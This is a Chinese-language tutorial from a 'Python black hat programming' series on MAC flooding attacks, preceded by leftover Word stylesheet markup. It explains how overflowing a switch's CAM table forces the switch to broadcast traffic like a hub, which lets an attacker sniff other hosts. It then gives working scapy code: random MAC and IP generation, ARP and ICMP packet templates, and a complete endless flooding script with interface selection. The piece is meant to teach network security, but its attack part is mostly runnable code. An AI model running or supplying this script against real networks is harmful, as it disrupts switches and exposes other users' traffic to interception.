Python黑帽编程 3.3 MAC洪水攻击

2023-03-12,,

<!--
/* Font Definitions */
@font-face
{font-family:Wingdings;
panose-1:5 0 0 0 0 0 0 0 0 0;}
@font-face
{font-family:宋体;
panose-1:2 1 6 0 3 1 1 1 1 1;}
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;}
@font-face
{font-family:微软雅黑;
panose-1:2 11 5 3 2 2 4 2 2 4;}
@font-face
{font-family:华文隶书;
panose-1:2 1 8 0 4 1 1 1 1 1;}
@font-face
{font-family:Consolas;
panose-1:2 11 6 9 2 2 4 3 2 4;}
@font-face
{font-family:"\@微软雅黑";
panose-1:2 11 5 3 2 2 4 2 2 4;}
@font-face
{font-family:"\@华文隶书";
panose-1:2 1 8 0 4 1 1 1 1 1;}
@font-face
{font-family:"\@宋体";
panose-1:2 1 6 0 3 1 1 1 1 1;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}

h2
{mso-style-link:"标题 2 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-align:center;
text-indent:10.0pt;
background:#DBE5F1;
border:none;
padding:0cm;
font-size:14.0pt;
font-family:"Calibri",sans-serif;
text-transform:uppercase;
letter-spacing:.75pt;
font-weight:normal;}
h3
{mso-style-link:"标题 3 Char";
margin-top:15.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
border:none;
padding:0cm;
font-size:11.0pt;
font-family:"Calibri",sans-serif;
color:#243F60;
letter-spacing:.75pt;
font-weight:bold;}
h4
{mso-style-name:"标题 4\,代码";
mso-style-link:"标题 4 Char\,代码 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:24.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
font-weight:normal;}
h5
{mso-style-link:"标题 5 Char";
margin-top:15.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
border:none;
padding:0cm;
font-size:11.0pt;
font-family:"Calibri",sans-serif;
color:#244061;
letter-spacing:.5pt;
font-weight:bold;}
h6
{mso-style-link:"标题 6 Char";
margin-top:15.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
border:none;
padding:0cm;
font-size:11.0pt;
font-family:"Calibri",sans-serif;
color:#365F91;
text-transform:uppercase;
letter-spacing:.5pt;
font-weight:normal;}
p.MsoHeading7, li.MsoHeading7, div.MsoHeading7
{mso-style-link:"标题 7 Char";
margin-top:15.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:11.0pt;
font-family:"Calibri",sans-serif;
color:#365F91;
text-transform:uppercase;
letter-spacing:.5pt;}
p.MsoHeading8, li.MsoHeading8, div.MsoHeading8
{mso-style-link:"标题 8 Char";
margin-top:15.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:9.0pt;
font-family:"Calibri",sans-serif;
text-transform:uppercase;
letter-spacing:.5pt;}
p.MsoHeading9, li.MsoHeading9, div.MsoHeading9
{mso-style-link:"标题 9 Char";
margin-top:15.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:9.0pt;
font-family:"Calibri",sans-serif;
text-transform:uppercase;
letter-spacing:.5pt;
font-style:italic;}
p.MsoToc1, li.MsoToc1, div.MsoToc1
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoToc2, li.MsoToc2, div.MsoToc2
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:21.0pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoToc3, li.MsoToc3, div.MsoToc3
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:42.0pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoHeader, li.MsoHeader, div.MsoHeader
{mso-style-link:"页眉 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-align:center;
text-indent:10.0pt;
layout-grid-mode:char;
border:none;
padding:0cm;
font-size:9.0pt;
font-family:"Calibri",sans-serif;}
p.MsoFooter, li.MsoFooter, div.MsoFooter
{mso-style-link:"页脚 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
layout-grid-mode:char;
font-size:9.0pt;
font-family:"Calibri",sans-serif;}
p.MsoCaption, li.MsoCaption, div.MsoCaption
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:8.0pt;
font-family:"Calibri",sans-serif;
color:#365F91;
font-weight:bold;}
p.MsoTitle, li.MsoTitle, div.MsoTitle
{mso-style-link:"标题 Char";
margin-top:36.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:26.0pt;
font-family:"Calibri",sans-serif;
color:#4F81BD;
text-transform:uppercase;
letter-spacing:.5pt;}
p.MsoSubtitle, li.MsoSubtitle, div.MsoSubtitle
{mso-style-link:"副标题 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:50.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
color:#595959;
text-transform:uppercase;
letter-spacing:.5pt;}
a:link, span.MsoHyperlink
{color:blue;
text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
{color:purple;
text-decoration:underline;}
em
{color:#243F60;
text-transform:uppercase;
letter-spacing:.25pt;
font-style:normal;}
p.MsoDocumentMap, li.MsoDocumentMap, div.MsoDocumentMap
{mso-style-link:"文档结构图 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:9.0pt;
font-family:宋体;}
p
{margin-right:0cm;
margin-left:0cm;
font-size:12.0pt;
font-family:宋体;}
code
{font-family:宋体;}
pre
{mso-style-link:"HTML 预设格式 Char";
margin:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:宋体;}
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
{mso-style-link:"批注框文本 Char";
margin:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:9.0pt;
font-family:"Calibri",sans-serif;}
p.MsoNoSpacing, li.MsoNoSpacing, div.MsoNoSpacing
{mso-style-link:"无间隔 Char";
margin:0cm;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:36.0pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:36.0pt;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle
{margin-top:0cm;
margin-right:0cm;
margin-bottom:0cm;
margin-left:36.0pt;
margin-bottom:.0001pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast
{margin-top:0cm;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:36.0pt;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
p.MsoQuote, li.MsoQuote, div.MsoQuote
{mso-style-link:"引用 Char";
margin-top:2.0pt;
margin-right:0cm;
margin-bottom:2.0pt;
margin-left:0cm;
text-indent:10.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
font-style:italic;}
p.MsoIntenseQuote, li.MsoIntenseQuote, div.MsoIntenseQuote
{mso-style-link:"明显引用 Char";
margin-top:2.0pt;
margin-right:57.6pt;
margin-bottom:0cm;
margin-left:64.8pt;
margin-bottom:.0001pt;
text-align:justify;
text-justify:inter-ideograph;
text-indent:10.0pt;
border:none;
padding:0cm;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
color:#4F81BD;
font-style:italic;}
span.MsoSubtleEmphasis
{color:#243F60;
font-style:italic;}
span.MsoIntenseEmphasis
{color:#243F60;
text-transform:uppercase;
letter-spacing:.5pt;
font-weight:bold;}
span.MsoSubtleReference
{color:#4F81BD;
font-weight:bold;}
span.MsoIntenseReference
{color:#4F81BD;
text-transform:uppercase;
font-weight:bold;
font-style:italic;}
span.MsoBookTitle
{letter-spacing:.45pt;
font-weight:bold;
font-style:italic;}
p.MsoTocHeading, li.MsoTocHeading, div.MsoTocHeading
{margin-top:2.0pt;
margin-right:0cm;
margin-bottom:0cm;
margin-left:0cm;
margin-bottom:.0001pt;
text-align:center;
text-indent:10.0pt;
background:#4F81BD;
border:none;
padding:0cm;
font-size:24.0pt;
font-family:"Calibri",sans-serif;
color:white;
text-transform:uppercase;
letter-spacing:.75pt;
font-weight:bold;}
span.Char
{mso-style-name:"页眉 Char";
mso-style-link:页眉;}
span.Char0
{mso-style-name:"页脚 Char";
mso-style-link:页脚;}
span.1Char
{mso-style-name:"标题 1 Char";
mso-style-link:"标题 1";
font-family:"微软雅黑",sans-serif;
color:white;
text-transform:uppercase;
letter-spacing:.75pt;
background:#4F81BD;
font-weight:bold;}
span.Char1
{mso-style-name:"文档结构图 Char";
mso-style-link:文档结构图;
font-family:宋体;}
span.2Char
{mso-style-name:"标题 2 Char";
mso-style-link:"标题 2";
font-family:华文隶书;
text-transform:uppercase;
letter-spacing:.75pt;
background:#DBE5F1;}
span.3Char
{mso-style-name:"标题 3 Char";
mso-style-link:"标题 3";
color:#243F60;
letter-spacing:.75pt;
font-weight:bold;}
span.4Char
{mso-style-name:"标题 4 Char\,代码 Char";
mso-style-link:"标题 4\,代码";}
span.5Char
{mso-style-name:"标题 5 Char";
mso-style-link:"标题 5";
color:#244061;
letter-spacing:.5pt;
font-weight:bold;}
span.6Char
{mso-style-name:"标题 6 Char";
mso-style-link:"标题 6";
color:#365F91;
text-transform:uppercase;
letter-spacing:.5pt;}
span.7Char
{mso-style-name:"标题 7 Char";
mso-style-link:"标题 7";
color:#365F91;
text-transform:uppercase;
letter-spacing:.5pt;}
span.8Char
{mso-style-name:"标题 8 Char";
mso-style-link:"标题 8";
text-transform:uppercase;
letter-spacing:.5pt;}
span.9Char
{mso-style-name:"标题 9 Char";
mso-style-link:"标题 9";
text-transform:uppercase;
letter-spacing:.5pt;
font-style:italic;}
span.Char2
{mso-style-name:"标题 Char";
mso-style-link:标题;
color:#4F81BD;
text-transform:uppercase;
letter-spacing:.5pt;}
span.Char3
{mso-style-name:"副标题 Char";
mso-style-link:副标题;
color:#595959;
text-transform:uppercase;
letter-spacing:.5pt;}
span.Char4
{mso-style-name:"无间隔 Char";
mso-style-link:无间隔;}
span.Char5
{mso-style-name:"引用 Char";
mso-style-link:引用;
font-style:italic;}
span.Char6
{mso-style-name:"明显引用 Char";
mso-style-link:明显引用;
color:#4F81BD;
font-style:italic;}
span.Char7
{mso-style-name:"批注框文本 Char";
mso-style-link:批注框文本;}
span.HTMLChar
{mso-style-name:"HTML 预设格式 Char";
mso-style-link:"HTML 预设格式";
font-family:宋体;}
span.Char8
{mso-style-name:"编号 Char";
mso-style-link:编号;
font-family:"Times New Roman",serif;}
p.a, li.a, div.a
{mso-style-name:编号;
mso-style-link:"编号 Char";
margin:0cm;
margin-bottom:.0001pt;
text-indent:0cm;
line-height:150%;
font-size:10.5pt;
font-family:"Times New Roman",serif;}
span.sentence
{mso-style-name:sentence;}
p.a0, li.a0, div.a0
{mso-style-name:图;
mso-style-link:"图 Char";
margin:0cm;
margin-bottom:.0001pt;
text-align:center;
text-indent:24.0pt;
font-size:12.0pt;
font-family:"Calibri",sans-serif;}
span.Char9
{mso-style-name:"图 Char";
mso-style-link:图;}
span.apple-converted-space
{mso-style-name:apple-converted-space;}
span.cp
{mso-style-name:cp;}
span.nt
{mso-style-name:nt;}
span.nb
{mso-style-name:nb;}
span.p
{mso-style-name:p;}
span.nx
{mso-style-name:nx;}
span.s2
{mso-style-name:s2;}
span.kc
{mso-style-name:kc;}
span.mi
{mso-style-name:mi;}
span.kd
{mso-style-name:kd;}
span.o
{mso-style-name:o;}
span.na
{mso-style-name:na;}
span.s
{mso-style-name:s;}
span.s1
{mso-style-name:s1;}
p.code, li.code, div.code
{mso-style-name:code;
mso-style-link:"code Char";
margin-top:5.25pt;
margin-right:0cm;
margin-bottom:5.25pt;
margin-left:0cm;
text-indent:20.15pt;
line-height:10.0pt;
background:#F8F8F8;
border:none;
padding:0cm;
font-size:10.0pt;
font-family:Consolas;
color:#333333;}
span.k
{mso-style-name:k;}
span.codeChar
{mso-style-name:"code Char";
mso-style-link:code;
font-family:Consolas;
color:#333333;
background:#F8F8F8;}
span.c1
{mso-style-name:c1;}
span.pln
{mso-style-name:pln;}
p.a1, li.a1, div.a1
{mso-style-name:命令行;
mso-style-link:"命令行 Char";
margin-top:5.25pt;
margin-right:0cm;
margin-bottom:5.25pt;
margin-left:0cm;
text-indent:20.15pt;
line-height:10.0pt;
background:black;
border:none;
padding:0cm;
font-size:10.0pt;
font-family:Consolas;
color:white;}
span.Chara
{mso-style-name:"命令行 Char";
mso-style-link:命令行;
font-family:Consolas;
color:white;
background:black;
font-weight:normal;}
p.2, li.2, div.2
{mso-style-name:命令2;
mso-style-link:"命令2 Char";
margin-top:0cm;
margin-right:0cm;
margin-bottom:15.0pt;
margin-left:0cm;
text-indent:22.1pt;
background:#3C3C3C;
border:none;
padding:0cm;
font-size:11.0pt;
font-family:宋体;
color:white;}
span.pre
{mso-style-name:pre;}
span.2Char0
{mso-style-name:"命令2 Char";
mso-style-link:命令2;
font-family:宋体;
color:white;
background:#3C3C3C;}
p.first, li.first, div.first
{mso-style-name:first;
margin-right:0cm;
margin-left:0cm;
font-size:12.0pt;
font-family:宋体;}
p.last, li.last, div.last
{mso-style-name:last;
margin-right:0cm;
margin-left:0cm;
font-size:12.0pt;
font-family:宋体;}
span.n
{mso-style-name:n;}
span.bp
{mso-style-name:bp;}
span.ow
{mso-style-name:ow;}
span.nf
{mso-style-name:nf;}
span.mf
{mso-style-name:mf;}
span.sd
{mso-style-name:sd;}
span.nc
{mso-style-name:nc;}
span.si
{mso-style-name:si;}
span.se
{mso-style-name:se;}
span.kn
{mso-style-name:kn;}
span.nn
{mso-style-name:nn;}
span.ne
{mso-style-name:ne;}
span.c
{mso-style-name:c;}
span.colorh1
{mso-style-name:color_h1;}
span.pun
{mso-style-name:pun;}
span.str
{mso-style-name:str;}
span.com
{mso-style-name:com;}
span.kwd
{mso-style-name:kwd;}
span.lit
{mso-style-name:lit;}
span.typ
{mso-style-name:typ;}
span.pl-k
{mso-style-name:pl-k;}
span.pl-c1
{mso-style-name:pl-c1;}
span.pl-v
{mso-style-name:pl-v;}
span.pl-s
{mso-style-name:pl-s;}
span.pl-pds
{mso-style-name:pl-pds;}
.MsoChpDefault
{font-size:11.0pt;
font-family:"Calibri",sans-serif;}
.MsoPapDefault
{margin-top:10.0pt;
margin-right:0cm;
margin-bottom:10.0pt;
margin-left:0cm;
line-height:115%;}
/* Page Definitions */
@page WordSection1
{size:21.0cm 841.95pt;
margin:36.0pt 36.0pt 36.0pt 36.0pt;
layout-grid:16.3pt;}
div.WordSection1
{page:WordSection1;}
/* List Definitions */
ol
{margin-bottom:0cm;}
ul
{margin-bottom:0cm;}
-->

Python灰帽编程 3.3 MAC洪水

传统的交换机(我只对我目前使用的交互机做过测试,按照常识只能这样表述)在数据转发过程中依靠对CAM表的查询来确定正确的转发接口,一旦在查询过程中无法找到相关目的MAC对应的条目,此数据帧将作为广播帧来处理。CAM表的容量有限,只能储存不多的条目,当CAM表记录的MAC地址达到上限后,新的条目将不会添加到CAM表中。

基于以上原理,我们会发现一个非常有趣的现象。某台PC不断发送去往未知目的地的数据帧,且每个包的源MAC地址都不同,当这样 的数据包发送的速度足够快之后,快到在刷新时间内将交换机的CAM表迅速填满。CAM表被这些伪造的MAC地址占据,真实的MA C地址条目却无法进入CAM表。那么任何一个经过交换机的正常单播数据帧都会以广播帧的形式来处理。交换机在此种情况下被降级为Hub。

交换机降级为hub之后,我们就可以监听所有连接到该交换机的主机的数据了。

当然,具体交互设备对ARP洪水的响应是不一样的,需要实地测试。下面我们进入编程环节。

3.3.1 编码实战

构造随机的MAC和IP地址方法有很多,因为地址的标准格式在那里,很容易拼装。这里要给大家介绍的是scapy模块中的RandMAC和RandIP方法。这两个方法用来随机产生MAC地址和IP地址,方法接收模板参数,来产生特定网段的地址。

例如下面的代码:

#!/usr/bin/python

from scapy.all import *

i=5

while(i):

print RandMAC()

print RandIP()

i=i-1

运行结果如下图:

图2

如果需要产生固定网段的IP,可以输入指定的模板。

#!/usr/bin/python

from scapy.all import *

i=5

while(i):

print RandIP("192.168.1.*")

i=i-1

运行结果如下:

图3

随机的问题解决之后,下面我们考虑下什么样的数据包能达到目的呢?回看一下前文提到的内容,只要我们的数据包中有指定的源IP和MAC,那么交换机就会进行记录。

例如ARP包:

Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))

例如ICMP包:

Ether(src=RandMAC("*:*:*:*:*:*"),

dst=RandMAC("*:*:*:*:*:*")) / \

IP(src=RandIP("*.*.*.*"),

dst=RandIP("*.*.*.*")) / \

ICMP()

两个核心问题解决了,可以写完整的代码了:

图4

#!/usr/bin/python

import sys

from scapy.all import *

import time

iface="eth0"

if len(sys.argv)>=2:

iface=sys.argv[1]

while(1):

packet= Ether(src=RandMAC("*:*:*:*:*:*"),

dst=RandMAC("*:*:*:*:*:*")) / \

IP(src=RandIP("*.*.*.*"),

dst=RandIP("*.*.*.*")) / \

ICMP()

time.sleep(0.5)

sendp(packet,iface=iface,loop=0)

上面的代码通过不停的发送ICMP数据包,来实现MAC洪水攻击。运行结果如下:

图5

3.3.2 小结

本节的内容在编程上没有什么新的知识值得探讨,主要希望大家对交换网络和以太网的理解通过编程的方式进一步加深。

下一节,我们一起探讨下针对VLAN的攻击。

3.3节《VLAN攻击》已经在微信订阅号抢先发布,心急的同学进入订阅号(二维码在下方),从菜单专栏”—>”Python黑帽编程进入即可。

查看完整系列教程,请关注我的微信订阅号(xuanhun521,下方二维码),回复“python”。问题讨论请加qq群:Hacking (1群):303242737   Hacking (2群):147098303。

玄魂工作室-精彩不断

Python黑帽编程 3.3 MAC洪水攻击的相关教程结束。

《Python黑帽编程 3.3 MAC洪水攻击.doc》

下载本文的Word格式文档,以方便收藏与打印。